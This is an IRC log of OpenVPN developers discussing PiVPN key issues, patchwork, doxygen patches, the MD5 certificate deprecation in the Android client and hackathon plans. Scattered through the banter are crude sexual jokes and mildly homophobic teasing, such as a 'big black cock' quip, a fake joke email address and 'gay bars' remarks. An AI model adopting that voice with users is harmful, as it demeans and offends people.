<@ordex> :) 09:07 <@plaisthos> not really 09:07 <@plaisthos> but might be ecdsa keys or something? 09:14 <@ordex> plaisthos: mh dunno. do you thin kthat wouldn't be supported by mbedtls? 09:14 <@plaisthos> they are sometimes problematic in openssl 09:14 <@plaisthos> if generated with a strange curve openssl does not support 09:14 <@ordex> the problem is the other way around 09:15 <@plaisthos> then you get a error that you need to be crypto geek to understand what it means ;) 09:15 <@ordex> people have created keys somehow using pivpn, on systems having openssl-1.1, but they can't use them in openvpn+mbedtls 09:15 <@ordex> lol 09:55 < tincantech> ordex: re "pivpn" do you have any details ? 09:56 <@ordex> tincantech: it's what I am trying to get 09:56 <@ordex> but it seems difficult 09:56 <@ordex> nobody replies 09:56 < tincantech> replies to what ? 09:56 <@ordex> to my request of details 09:56 <@ordex> :D 09:56 < tincantech> where are you going for this .. 09:56 <@ordex> :( 09:56 <@ordex> there is a discussion on github 09:56 < tincantech> do you mean on the forum ? 09:56 <@ordex> https://github.com/pivpn/pivpn/issues/364#issuecomment-342121856 09:56 <@ordex> nope 09:56 <@vpnHelper> Title: Official OpenVPN Connect Android client error with PiVPN on Stretch: Requested encryption or digest alg not available · Issue #364 · pivpn/pivpn · GitHub (at github.com) 09:56 <@ordex> on github 09:57 <@ordex> discussing about encrypted keys 09:57 < tincantech> i'll have a wee looky 09:57 <@ordex> but nobody has been able to tell me how to generate a key that does not work 09:57 <@ordex> and I don't want to run pivpn on my system now 09:58 < tincantech> i have a pi under qemu somewhere 09:59 <@plaisthos> ordex: old keys are probably encrypted with des or 3des 09:59 <@plaisthos> and mbedtls might not like that anymore I guess 09:59 <@ordex> plaisthos: no clue what they are doing. I don't know how the key is created ... 10:00 <@ordex> it could be anything, but somebody should tell us how they are creating the key 10:01 <@plaisthos> curl -L https://install.pivpn.io 10:01 <@plaisthos> search for easyrsa 10:02 <@ordex> plaisthos: I did, but there is no command creating client keys 10:08 <@plaisthos> oh okay 10:19 <@novaflash> https://raw.githubusercontent.com/pivpn/pivpn/master/scripts/makeOVPN.sh 10:19 <@novaflash> spawn ./easyrsa build-client-full "${NAME}" nopass 10:20 <@novaflash> not what you were looking for? 10:21 <@novaflash> that's in function keynoPASS but there's also keyPASS where they do spawn ./easyrsa build-client-full "${NAME}" and you have to enter an assword 10:21 <@novaflash> ordex ^^ 10:21 <@plaisthos> diff -u index.html makeOVPN.sh |wc -l 10:21 <@plaisthos> 1570 10:22 <@plaisthos> that is a different script of what you get when you check https://install.pivpn.io 10:22 <@plaisthos> :/ 10:22 <@novaflash> oh that's fantastic 10:22 <@plaisthos> (which the user in the bug report said he used) 10:22 <@plaisthos> might be a different version but the user still really used the one you referred 10:23 <@novaflash> that script on install.pivpn.io has stuff like EASYRSA_CURVE secp384r1, rsa, 2048 bits 10:24 <@novaflash> perhaps that secpwhateverthing is the problematic thing? 10:25 <@novaflash> plenty of easyrsa stuff in either place tho 12:17 <@cron2> has mattock surfaced today? 12:17 < tincantech> please enter your assword: novaslash 12:27 <@novaflash> tictactoe; novaflass 12:28 <@novaflash> cron2: mattock was on slack earlier today, bout 8 hour ago 12:28 <@novaflash> he's online now there, so, presumably he is somewhat alive 12:30 <@ecrist> you guys don't have a slack->irc gateway setup for this channel yet? 12:31 <@novaflash> i was just going to ask andrew that 12:31 < openvpn-hq> <andrew> yeah we do 12:31 < openvpn-hq> <andrew> :slightly_smiling_face: 12:31 <@novaflash> WHY WAS I NOT INVITED OMG 12:31 <@ecrist> hah 12:31 < openvpn-hq> <andrew> oh sorry 12:31 -!- Irssi: #openvpn-devel: Total of 33 nicks [11 ops, 0 halfops, 2 voices, 20 normal] 12:31 < openvpn-hq> <andrew> I set it up on Friday 12:32 < openvpn-hq> <johan> oh em gee 12:32 * ecrist should try /names more often 12:32 < openvpn-hq> <andrew> but I think I should change the nick to openvpn-corp, not openvpn-hq 12:32 < openvpn-hq> <johan> openvpn-overlords 12:32 * ecrist /kick openvpn-* 12:32 < openvpn-hq> <johan> Death to the Unbelievers 12:33 <@ecrist> So, is there an API call that users in IRC can use to see the online slack users? 12:35 <@novaflash> no idea 12:36 < openvpn-hq> <andrew> ecrist, I don't think so, at least not with this script 12:36 < openvpn-hq> <andrew> but if you do @andrew or @johan it will alert us in slack 12:36 <@ecrist> that's neat 12:36 < openvpn-hq> <andrew> its jut him, myself and @elfredyc 12:36 <@ecrist> I just have to know that 12:36 < openvpn-hq> <andrew> *just 12:37 < openvpn-hq> <andrew> hehe 12:37 < openvpn-hq> <andrew> if I find a better script that gives that ability I will let ya know 12:37 <@novaflash> now there are more ways of annoying me 12:41 <@ecrist> @andrew you could just call it openvpn-slack ;) 12:42 <@novaflash> or just openvpn geez 12:42 <@ecrist> that'd be bad form, I think 12:42 <@novaflash> why? 12:42 <@ecrist> channel name colliding with nickname 12:42 <@ecrist> it might even be blocked 12:42 * ecrist tries it 12:42 -!- You're now known as openvpn 12:43 <@openvpn> suck it 12:43 <@novaflash> ......... 12:43 <@novaflash> it's FINE 12:43 < openvpn-hq> <andrew> ecrist: I could def do that 12:43 <@novaflash> ohhhh so itching to kick him 12:43 -!- You're now known as ecrist 12:43 < openvpn-hq> <andrew> well and I think we should differentiate it from community too 12:43 <@ecrist> novaflash: please do 12:43 * novaflash accidentally kicks the slack bridge 12:43 < openvpn-hq> <andrew> thats why I was thinking openvpn-corp or something 12:43 < openvpn-hq> <andrew> but openvpn-slack works too 12:47 < openvpn-hq> <andrew> here goes nothing 12:49 < openvpn-slack> <andrew> that work? 12:50 <@novaflash> yap 13:06 < openvpn-slack> <andrew> is openvpn not a registered nick on freenode? 13:06 < openvpn-slack> <andrew> somebody in community or corp should register it if it isn't 13:08 <@novaflash> okay 13:08 -!- novaflash is now known as openvpn 13:08 < openvpn-slack> <andrew> I assumed some random person already had it so I never looked to see, lol 13:09 -!- openvpn is now known as novaflash 13:23 <@mattock> cron2: I've been online for the most of the day, just did not pay lots of attention on this channel 13:24 <@mattock> and now it's baby bath time, so I need to split 15:02 <@cron2> mattock: so when you return, could you give me admin rights @ patchworks? I need to manually close those patches that have been merged, as it didn't like my e-mails yet - for new stuff this seems to work, though 15:25 -!- tincantech is now known as openvpn 15:25 -!- openvpn is now known as tincantech 15:26 < tincantech> novaflash: 'que 18:03 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 18:23 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:23 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:46 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 250 seconds] 19:59 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 19:59 -!- mode/#openvpn-devel [+o dazo] by ChanServ 20:51 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 21:01 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 21:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Tue Nov 07 2017 02:09 <@mattock> cron2: I will do that now 02:12 <@mattock> cron2: can you try now? 02:14 <+krzee> hey guys =] 02:34 <@cron2> mattock: lemme test 02:34 * cron2 sits in a train and internet is... interesting 02:36 <@cron2> it's doing something 02:36 <@cron2> 64 bytes from 195.30.0.2: icmp_seq=1321 ttl=47 time=10631 ms 02:37 <@novaflash> i see nothing wrong with that 02:37 <@cron2> mattock: yeh, it works now - set #11 to "accepted", gone from the list 02:37 <@novaflash> the train is in orbit, correct? 02:37 <@novaflash> about 5 times farther away than the moon? 02:38 <@cron2> so when I have workable internet again, I can go through the list and close those that are in (clocking on the *left* column, you can see the ACKs in patchwork, so it's mostly easy to do, unless people send new patches as reply in the same thread...) 02:38 <@cron2> novaflash: it's actually landing already 02:38 <@cron2> 64 bytes from 195.30.0.2: icmp_seq=1451 ttl=47 time=44.4 ms 02:38 <@cron2> "just do not open a web browser and your IP will be fine" 02:46 <@cron2> mattock: is there a way to make patchwork show *who* changed a patch's state, and *when*? 02:47 <@cron2> I can see for example that /49/ is "under review" and "delegated to selvanair", but wonder who assigned that (mostly curiousity, but also to understand our work flows better) 02:47 <@ordex> I am glad you imagined we have a workflow 02:47 <@ordex> :P 02:48 <@cron2> we do, it's just very... agile 02:49 <@ordex> :) 03:10 <@mattock> agile ~ ad hoc naturally 03:14 <@mattock> cron2: I don't think there's any easy way to see who did what or when in patchwork 03:15 <@mattock> I can't recall reading anything along those lines in the documentation and there are no clues in the GUI 03:15 <@mattock> we may have to resort to talking to each other 03:33 <@novaflash> oh no 04:06 <@mattock> yeah, I agree 04:08 <@cron2> mattock: what? no! 04:09 <@novaflash> i uh.. think this is where we have to disband the community 04:09 <@novaflash> i don't think any of us signed up for that 10:22 <@cron2> patchwork is nice. But some more reviews, like for the doxygen or the pf stuff would make it even nicer :) 10:36 <@syzzer> doxygen should be trivial to review :) 10:38 <@syzzer> for 1/2, do a "doxygen doc/doxygen/openvpn.doxyfile" from the source root, once before and once after applying the patch. Look at the graphs of e.g. options.c to see them improve. 10:38 <@syzzer> for 2/2, 'make doxygen' should give you the same result 10:39 <@syzzer> and of course look at the diff :) 13:37 <@cron2> syzzer: what about the buffer_list_aggregate_separator() series - are 2/4...4/4 still good, or do they conflict with the 1/4 v2 changes? 15:15 <@syzzer> cron2: there will be merge conflicts, but most likely trivial to resolve 15:15 <@syzzer> still need to check that though... 19:53 <@ordex> sorry for not reviewing those create_temp patches yet 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Nov 08 2017 03:44 -!- Netsplit *.net <-> *.split quits: +lev__, @syzzer, @vpnHelper, @dazo, @cron2, +krzee, @mattock, @novaflash, @pekster 03:50 -!- Netsplit over, joins: @pekster, @dazo, @syzzer, @novaflash, @cron2, @vpnHelper 03:50 -!- ServerMode/#openvpn-devel [+oooo pekster cron2 vpnHelper ordex] by moon.freenode.net 03:50 -!- Netsplit over, joins: +krzee, +lev__, @mattock 03:50 -!- ServerMode/#openvpn-devel [+vovo krzee d12fk lev__ mattock] by moon.freenode.net 03:50 <@syzzer> ok, so I'll merge them. I split them because they do different things ('change the output' and 'integrate into build system') 03:50 <@cron2> right, but if we decide "we do not want 1/2", 2/2 wouldn't apply... 03:50 <@syzzer> I'll just merge them :) 03:53 * cron2 likes patchwork - this is just like the old "patches pending" wiki page we had, just automatic :-) 03:56 <@syzzer> yeah, I like it too 03:58 <@syzzer> though it seems I need to change some habits, and typo things like 'Acked-by: me' in the footer instead of just 'ACK' somewhere in the text to make patchwork understand me 04:10 <@cron2> that would be even nicer :-) - but the amount of "ACKed but not merged yet" patches should hopefully not rise that much again 04:15 <@cron2> now that was interesting 04:16 <@cron2> the new doxygen patch makes "make doxygen" finish WAY faster, like "20 times" 04:16 * cron2 wonders what else was walked here... :) 04:18 <@syzzer> that sounds suspicious 04:19 <@cron2> the new results look good 04:20 <@cron2> weelll... 04:20 <@cron2> Making distclean in doxygen 04:20 <@cron2> make[2]: Entering directory '/tmp/x/openvpn/doc/doxygen' 04:20 <@cron2> make[2]: *** No rule to make target 'distclean'. Stop. 04:20 <@syzzer> good catch... 04:21 <@syzzer> I really need to create some check list for making build system changes 04:21 <@cron2> and I wonder if the documentation built should end up in $(top)/doxygen/{html,latex} or in doc/doxygen/{html,latex}/ - and cleaned up on "(dist)clean"? 04:22 <@syzzer> "this is how it was", but yeah, good question 04:51 <@cron2> so, v3 coming up with "(dist)clean" fixed? 04:51 <@cron2> the patch used could be a separate discussion 04:51 <@cron2> path 05:22 <@dazo> The whole doxygen stuff is somewhat confusing in regards to the paths .... so cleaning up that to be more predictable would be good 05:23 <@dazo> syzzer: when you're digging into this ... what about to enable the search feature and adding ENABLE_PF to PREDEFINED? 05:23 <@dazo> I also have this in a single "improve doxygen" too 05:23 <@dazo> +CALL_GRAPH = YES 05:23 <@dazo> +CALLER_GRAPH = YES 05:23 <@dazo> but that increases the doxygen build time considerably 05:24 <@dazo> SEARCHENGINE = YES # <<< that's the one I was thinking about in regards to the search 05:30 <@syzzer> dazo: worth looking at, but let's pull the content-related changes apart from the build system changes for now 05:30 <@syzzer> cron2: yes, v3 coming 05:33 <@dazo> agreed 05:51 <@ordex> it seems this is going to be a long coding night 05:52 <@dazo> heh 05:52 <@dazo> ordex: in europe already? 05:52 <@dazo> or planning hacking during the flight? 05:57 <@ordex> still at home actually 05:57 <@ordex> :D 05:57 <@ordex> but yeah, I have quite some stuff in the back log to take care until my departure 06:01 <@syzzer> cron2: gaah, I see what went wrong, the "doxygen/" line in .gitignore ignored my new Makefile.am in doc/doxygen/, which is why it worked for me locally, but I didn't notice that the file wasn't in the commit I sent to the list :/ 06:02 <@syzzer> that line in .gitignore should have been "/doxygen/", instead of "doxygen/"... 06:16 <@syzzer> okay, let's see if I got everything right this time. Three time's a charm, right? 06:20 <@ordex> maybe 06:23 <@cron2> *g* 06:24 < tincantech> ordex: what happened with android MD5 ? how come you decided to allow it again ? 06:25 <@ordex> tincantech: mostly a business driven decision. We decided to re-enable it and provide users with a 'guided' notice period of 6 months 06:25 <@ordex> in 6 months we will completely drop it. 06:25 <@ordex> However, during these 6 months we will show messages and recommend to inform the service providers 06:26 <@ordex> this way everybody is 'informed' and have a chance to act 06:26 <@ordex> *has 06:27 < tincantech> ok .. thanks for letting me know (in advance .. lol) 06:27 <@ordex> :P 06:27 <@ordex> it has been quite fast 06:28 < tincantech> Seems like some things are not for "open" discussion .. 06:29 <@ordex> yeah, this was entirely a company discussion actually 06:29 <@cron2> OpenVPN Connect is not an "open source" product 06:29 < tincantech> and from now on I don't do android support 06:29 <@cron2> that's what we have OpenVPN for Android for - both have strong and weak sides 06:30 < tincantech> ordex: if you want to handle the Android forum please please do ! 06:30 <@ordex> I don't work in support :P I am only interested in bugs 06:30 < tincantech> or recruit someone else to do it 06:31 <@ordex> I'd personally like everything to be open 06:31 <@cron2> distclean works 06:31 <@ordex> but I don't see how the roadmap of a closed product be open :/ 06:31 <@ordex> *how can 06:31 <@cron2> ordex: some companies do "read-only for customers" (so you know what is coming up)... 06:32 <@ordex> mhhh what do you mean exactly? "read-only" discussion notes? 06:32 <@ordex> tincantech: actually I also wrote on the forum the decision that was made 06:32 <@cron2> roadmap is published, but customers can not *change* it 06:33 <@cron2> like, "we'll have <x> in Q1/2018, <x> in Q2" 06:33 <@ordex> but it happened really fast, consider that we only reverted a change happened 2 days before 06:33 <@ordex> yeah 06:33 <@ordex> ah sure 06:33 <@ordex> we just published it 06:33 <@cron2> that's not really a roadmap thingie, but a bugfix :) 06:33 <@ordex> true 06:34 <@ordex> https://docs.openvpn.net/planned-removal-of-md5-support/ 06:34 <@vpnHelper> Title: Planned removal of MD5 support | OpenVPN Access Server documentation (at docs.openvpn.net) 06:34 <@ordex> tincantech: but really it all happened in basically less than 24h - we just wanted to revert the status quo without republishing an old release 06:34 < tincantech> How many andriod users are ever going to read that ??????? 06:35 <@ordex> it will be linked in playstore too 06:35 <@ordex> and will be linked in the app too 06:35 <@ordex> whenever somebody will try to connect to a network with md5 enabled 06:35 < tincantech> Put a BIG MANDATORY WARNING in their log file 06:35 <@ordex> first an annoying popup :P 06:35 <@ordex> eheh 06:36 <@ordex> the idea is that they have to be convinced so that they can in turn convince the providers 06:36 <@ordex> ths is the idea 06:36 <@ordex> so soon we will have the popup 06:36 <@ordex> and later we will require also them to switch on a particular knob in the settings (to make it even more annoying) 06:36 <@ordex> then we'll drop support entirely 06:36 <@ordex> this is the plan for now 06:37 < tincantech> I watch people walking down the street with headphones in doing facebook on their device and not looking two feet in front of themselves .. as if they are going to read any documentation .. they are lucky they don't get run over by a bus ! 06:37 <@ordex> :D 06:38 < tincantech> OK .. a mandatory popup sounds annoying enough 06:39 <@ordex> btw, several people have already appreciated that we've put the deadline in the changelog. so somebody reads the cr0p 06:41 < tincantech> As I understand it .. 75% of the world of internet nrowsing is done from an android device .. that a few hundred read some doc is irrelevant ! 06:41 <@ordex> :D 06:41 <@ordex> well, we can only hope for an improvement 06:41 < tincantech> You want to change humanity ? 06:41 <@cron2> tincantech: the number of people using Android is not the number of people that use OpenVPN Connect on Android 06:42 <@vpnHelper> RSS Update - tickets: #957: X509v3 Name Constraints cause issues with recent OpenVPN Connect versions <https://community.openvpn.net/openvpn/ticket/957> 06:42 <@cron2> speaking of... :) 06:42 < tincantech> ok .. I'll ca;ll you Gandhi 06:43 <@ordex> tincantech: I gave up on that 06:43 <@ordex> :P 06:43 <@ordex> eheh these are all problems coming from the mbedTLS upgrade 06:44 <@ordex> people were happily diving in mud with polarssl 1.3 06:45 <@ordex> ah actually this is interesting 06:46 <@ordex> the problem is that mbedTLS does not "yet" supports this feature 06:46 <@vpnHelper> RSS Update - gitrepo: doxygen: add make target and use relative paths <https://github.com/OpenVPN/openvpn/commit/66bf378e686872dfab22a983184f65599af494f8> 06:48 <@cron2> mattock: does patchwork peek into the git repo? 06:49 <@cron2> it is showing my ACK! mail as part of /52/ but it stills shows the patch as "new" - which is what I had Sunday as well, and then it changed to "Accepted" 06:50 <@ordex> cron2: I believe it understands the Acked-by: tags in the emails 06:55 <@cron2> which Sunday's mail did not have 06:55 <@cron2> ah 06:55 <@cron2> no, it has, but today's mail has that one as well, plus 06:55 <@cron2> X-Patchwork-State: Accepted 06:56 <@cron2> but still... 06:56 <@cron2> https://patchwork.openvpn.net/patch/52/ 06:56 <@vpnHelper> Title: [Openvpn-devel,v3] doxygen: add make target and use relative paths - Patchwork (at patchwork.openvpn.net) 06:56 <@cron2> ... shows as "New!" 06:56 * ordex nothing knows 06:59 < tincantech> Sorry to bother you with this : "Unroutable control packet received ..." , I have come across this before and i seem to recall that the "unroutable" part has nothing to do with networking ? can anybody remind me what the message generally means ? thanks 07:07 < tincantech> ssl.c: 3616 .. having a look a C :( 07:08 < tincantech> Packet must belong to an existing session .. so i guess that it is not a valid session (yet ..) 07:16 <@syzzer> tincantech: yes, or 'no longer a valid session' 07:19 < tincantech> syzzer: cheers :) .. I got the point from the comment in the source 07:21 < tincantech> could be to do with --persist-* in the client.conf .. maybe and not timing out yet .. 07:22 <@dazo> tincantech: "I watch people walking down the street with headphones in doing facebook...." <<< this is Darwin's theory in action ... natural selection ;-) 07:25 < tincantech> dazo: If only .. I got off a train once and this guy was getting on while on his tablet (not looking) and he crashed right into me and dropped his tablet under the train .. where upon he proceeded to crawl under the train to retieve it .. Unbelievably Luckily, the train guard was only a few feet away and came to his rescue .. Darwin would be so proud that his thoery is probably correct and we can even 07:25 < tincantech> watch it "in action" :D 07:26 <@dazo> :-P 07:26 <@dazo> tincantech: there's a lot of good ones here ... https://twitter.com/AwardsDarwin/ 07:29 < tincantech> quoting Homer.S : alcohol .. the cause of and solution to .. all of lifes problems ;) (guy falling down the stairs) 07:40 < openvpn-slack> <johan> regarding md5 deprecation; we were actually pretty surprised to learn that md5 is still so actively in use! it's an absolute disgrace. it is almost as insecure as not using a vpn. we discovered it by accident when the new android openvpn connect build had it disabled (because it was disabled by default in mbed tls) and people started to complain. but to continue to allow md5 forever would be irresponsible. but we didn't also want to 07:40 < openvpn-slack> annoy everyone by leaving support for md5 out of the product, from one day to the next, without any announce, just like that. so we discussed it internally and we went for the 6 months period and official notice on twitter.com, and shortly on www.openvpn.net as well, and on the official documentation site for access server, and in the program itself as well, and doing the popup to make people aware that oh shit your stuff is insecure we will 07:40 < openvpn-slack> let you connect for now but you should really really really fix that, it is really insecure. so yeah. the situation is what it is and we are trying to guide people towards a responsible and secure setup and to alert people that there is a problem and to give them time to fix it. if we had delayed implementing this for a week or more, we would have been overwhelmed with complaints and left users without a working solution for weeks. so we 07:40 < openvpn-slack> acted quickly and with the best interests of everyone at heart, and to not close the door on people that do not even know that they are using an insecure system, but to give them the option to continue working, while they get half a year's time to fix things properly. i hope that decision meets with approval and if not you can blame me for everything. 07:41 <@cron2> md5 as in "signature algorithm for the cert" or "--auth"? 07:41 < openvpn-slack> <johan> md5 for the signature algorithm in the certificate. 07:41 <@cron2> yeah, that must die 07:41 <@cron2> (but people need advance warning) 07:41 < openvpn-slack> <johan> we thought it surely must have already. but apparently we were wrong. 07:42 < openvpn-slack> <johan> hence the 6 months warning 07:43 < openvpn-slack> <johan> it was surprising to see also that there were versions of openvpn in use on netgear and asus routers that were using versions of openvpn like 2.3.2. over 3 years old. on the latest firmwares. 07:43 < openvpn-slack> <johan> on devices sold today in stores. it's a sad state of affairs. 07:43 <@cron2> indeed 07:43 <@cron2> you know, the "S" in "IoT" is for "Security"... 07:44 < openvpn-slack> <johan> .......that explains why there is none 07:45 < openvpn-slack> <johan> if anyone has any harsh feelings here about how we handled things then please come to me and bitch about it, and we can then perhaps work on a better protocol for future alterations. 07:46 < openvpn-slack> <johan> but i think nobody can contest in any serious sense that md5 support should be left intact forever :P 07:46 <@dazo> <cron2> you know, the "S" in "IoT" is for "Security"... <<<< hahaha! *that* 07:52 < tincantech> The situation with old routers with old openvpn and apparently no way to update them is really bad .. people will not go out and buy another $200 router just because of openvpn version and will keep using the old version because to them it /does/ work .. So when openvpn drop something that has been around for ages it is going to cause a lot of heart ache .. but that is the way it is. 07:53 < openvpn-slack> <johan> yes. but, the flip side is, if people using this, and the companies that produce this, now see the error message and warning that it is deprecated, then it may be the best possible motivation for these companies to update the stuff to something secure, finally. 07:53 < openvpn-slack> <johan> if we do nothing, then we are condoning the insecure use of our security product, and giving people false safety. 07:53 < tincantech> Personally, I was just surprised that Android decided to re-enable MD5 so I had to ask ordex as he was the only person I could ask. But i have what i need info wise .. the rest of the world just has to catch up what ever way they choose .. or not. 07:54 < openvpn-slack> <johan> yeah :slightly_smiling_face: 07:54 < tincantech> thanks for your input :) 07:54 < openvpn-slack> <johan> also, the open source version by arne schwabe, still does allow md5 afaik. and it may choose to still allow md5 in the future regardless of what we choose to support with the official app 07:55 < openvpn-slack> <johan> but there is nothing we can or wish to do about that, except make people aware that md5 is bad, mmmkay 07:55 < openvpn-slack> <johan> no problem tincantech 07:55 < tincantech> maybe send an email to the BBC .. then people will hear about it ! 08:02 <@novaflash> i didn't know the big black cock had an email address 08:04 * krzee has roosters but the wifi doesnt reach them 08:15 <@ordex> hi krzee 08:16 <+krzee> hey 08:17 <@novaflash> he lives 08:17 <@ordex> he does! 08:17 <@novaflash> next time we need a bigger natural disaster 08:17 <@novaflash> oh wait, there he is 08:17 <@ordex> johan can you stop writing this much when i am not online? my backlog is too long now! 08:17 <@ordex> ahah 08:17 < openvpn-slack> <johan> i'll try to condense what i have to say into less words. here goes: bullshit, nonsense, 1 interesting thing, crap. 08:19 <@ordex> oh 08:19 <@ordex> I need to investigate on the interesting thing then :D 08:21 * cron2 still wonders how patchwork ticks 08:22 <@cron2> (and why "send ACK, make patch go away" worked on sunday, or if someone helpfully changed the status manually) 08:22 < openvpn-slack> <johan> i blame samuli 08:23 <@ordex> I always do 08:23 <@ordex> novaflash: why are you here and there ? 08:23 <@novaflash> hell if i know 08:25 < tincantech> novaflash: email is : knobflasher@gaydutchpolice.orgy 08:25 <@ordex> that sounds familiar 08:27 <@novaflash> <knobflasher@gaydutchpolice.orgy>: Host or domain name not found. Name service 08:27 <@novaflash> error for name=gaydutchpolice.orgy type=A: Host not found 08:27 <@novaflash> you lied to me. 08:28 <+krzee> did you try AAAA? 08:29 <@novaflash> i don't have batteries that small 08:29 <+krzee> better hop in your time machine and goto radio shack 08:30 <@novaflash> you have been programming basic too much; go to are 2 separate words in English 08:30 <@novaflash> but thanks for your suggestions, i'll try it 08:35 <@ordex> lol 08:35 <@ordex> there is no other go to other than goto 08:51 < tincantech> novaflash: i lied, i liked it and i'll do it again :P 08:53 < tincantech> trust you to try sending emails to it though 08:57 <@d12fk> is everyone coming to the hackathon in this very channel? I don't think I have everyone's email address... 08:58 < openvpn-slack> <johan> johan@openvpn.net, coming, yes 08:58 < openvpn-slack> <johan> want my personal hot line for sex dates too? 08:58 <@ordex> I am 08:58 <@ordex> johan: yes please 08:58 <@ordex> I am sure the toilet here has a blank space for that :P 09:08 <@novaflash> tincantech: you're a monster. marry me. 09:14 <@syzzer> cron2: I did some patchwork cleaning earlier this week, so that might explain your status changes 09:25 <@d12fk> there's a slack gateway for #openvpn-devel? are we hip now? 09:26 <@ordex> hip hop ! 09:26 <@ordex> d12fk: is it sunny down there ? 09:27 <@d12fk> raining and refreshing temperature wise 09:27 <@d12fk> from where "up" are you coming 09:28 <@d12fk> http://www.bbc.com/weather/2892794 not exactly BBQ worthy 09:28 <@vpnHelper> Title: BBC Weather - Karlsruhe (at www.bbc.com) 09:30 <@ordex> well actually I am even lower 09:30 <@ordex> HK 09:34 <@ordex> d12fk: actually, where do we meet on Friday morning ? 09:35 <@ordex> or shall we meet on thursday afternoon/evening first ? 09:35 <@ordex> you mentioned access cards if I am not wrong, so I guess we need to set them up before we can enter ? 09:35 <@d12fk> HK as in Hong Kong? 09:36 <@d12fk> just show up at the reception desk on the 2nd floor 09:36 <@d12fk> you will be expected 09:36 <@ordex> d12fk: yup it's hong kong 09:37 <@ordex> perfect, thanks :) 09:38 <@d12fk> ok, so you compete with James about the most terrible jetlag then =) 09:38 <@d12fk> and I though you just had to hop over the alps 09:40 <@ordex> eheh 09:40 <@ordex> not sure we can compete, we will basically be completly iverted 09:40 <@ordex> *inverted 09:40 <@ordex> :D 09:42 <@ordex> anyway, talk tomorrow :) 09:53 <@d12fk> send me a whatsapp when you want company for dinner, currently i'm booked but there is a high chance of that being canceled 10:02 <@cron2> so what is planned for food? 10:02 <@d12fk> nothing so far 10:02 <@d12fk> we need to compile budgets first 10:02 < openvpn-slack> <johan> we can pretty much arrange whatever the hell we want :slightly_smiling_face: 10:02 <@cron2> syzzer: that might explain it indeed :-) - please stop doing that for a moment and lets figure out how to get it to do things on automatic 10:02 < openvpn-slack> <johan> crash into someone's hotel room and PAR TAAYY 10:03 <@cron2> d12fk: but we can plan and book locations! 10:04 <@d12fk> true, but that also depends on budget 10:04 <@mattock> oh, forgot all about the community meeting 10:04 <@mattock> we probably won't be having one today 10:05 < openvpn-slack> <johan> no community today 10:05 <@cron2> aha! 10:05 <@cron2> https://patchwork.readthedocs.io/en/latest/deployment/installation/#optional-configure-your-vcs-to-automatically-update-patches 10:05 <@vpnHelper> Title: Installation Patchwork 2.0-alpha documentation (at patchwork.readthedocs.io) 10:07 <@cron2> there is also "X-Patchwork-State: $state", but the docs are... sparse ("if set and valid"), and the example looks like "it should be part of the *patch*, not of the mail thread", mmmh 10:10 <@cron2> mmmh, and it really should pick up "Acked-by:" in reply mails, according to documentation... 10:11 <@cron2> mattock: does this need to be turned on somewhere? It is receiving the mail just fine, just ignoring the auto-bits 10:14 <@plaisthos> openvpn-slack: @johan Yeah but even in my app you need to add tls-cipher "SECLEVEL=0:DEFAULT" to force OpenSSL to do md5. And we are to blame ourselves. Easy-rsa generated md5 certificates for a long and our 2.3 and first 2.4 version even shipped with a version that had that md5 easy-rsa in it :( 10:15 < openvpn-slack> <johan> :( that is sad. 10:49 <@novaflash> haha d12fk 10:49 <@novaflash> "It also looks like we're " 10:49 <@novaflash> and then 10:49 <@novaflash> Anything I forgot to mention? 10:49 <@novaflash> :-D 10:57 <@d12fk> heh 11:01 < tincantech> novaflash: you wanna marry a monster ? very well "I now pronounce you monster and wife!" :) 11:07 <@d12fk> novaflash: so you're Johan? 11:11 <@novaflash> i regret to inform you that i am johan 11:12 <@novaflash> oh d12fk are there any good bars nearby that we can hit? 11:12 < tincantech> gay bars ? 11:13 < tincantech> d12fk: you'll know who is Johan .. he will be instockings and high heels :D 11:14 <@novaflash> close 11:14 <@d12fk> does that mean I can wear stockings? 11:14 <@novaflash> go ahead 11:14 <@d12fk> hrhr 11:14 <@novaflash> it's a free country 11:15 < tincantech> it's the rocky horror hackathon ! 11:15 <@d12fk> free or not it would impact my reputation =) 11:16 < tincantech> I bet it would look guud ! 11:16 < tincantech> it's all about atitude 11:16 <@d12fk> you know nothing young man! 11:16 <@d12fk> NOTHING 11:16 < tincantech> young .. lolz 11:18 < tincantech> anyway .. I am sure it will be quite a profitable hackathon 11:19 <@d12fk> 1) meet 2) food and beer 3) ... 4) profit 11:20 * d12fk summons underpants gnomes 11:24 * cron2 opts to see d12fk in stockings. That would be a nice change from "bath towel" :-) 11:26 <@d12fk> downer guys: this time no sauna in the office =/ 11:27 <@d12fk> at least if we open the windows every now and then 11:31 < tincantech> what no air con ? 13:52 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 13:52 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:36 <@ecrist> huh, openvpn.net is ranked 6,380 of the top 1 million sites 15:19 <@dazo> who made that ranking? ;-) 15:38 < tincantech> Me ! 15:41 < tincantech> dazo: if you have a minute could you take a look at this for me please : https://forums.openvpn.net/viewtopic.php?f=4&t=25217&p=74265#p74265 15:41 <@vpnHelper> Title: TLS Error: Unroutable control packet received - OpenVPN Support Forum (at forums.openvpn.net) 15:41 < tincantech> the problem is that the server log is showing something I have *never* seen before 15:42 <@dazo> hmmmm .... I don't know off-the-hand ... but far back in my memory, --multihome related issues is screaming 15:42 <@dazo> is this a server with multiple IP addresses which clients may connect via? 15:42 <@cron2> yes 15:42 < tincantech> I was thinking something alomg the lines of the server is on a dodgy wifi link maybe 15:43 <@cron2> --multihome is when you have multiple IPv4 or IPv6 addresses, and it does socket stuff to see where a packet was sent *to*, so the reply from the server can be sent from the right source address 15:43 <@cron2> but thats normally not 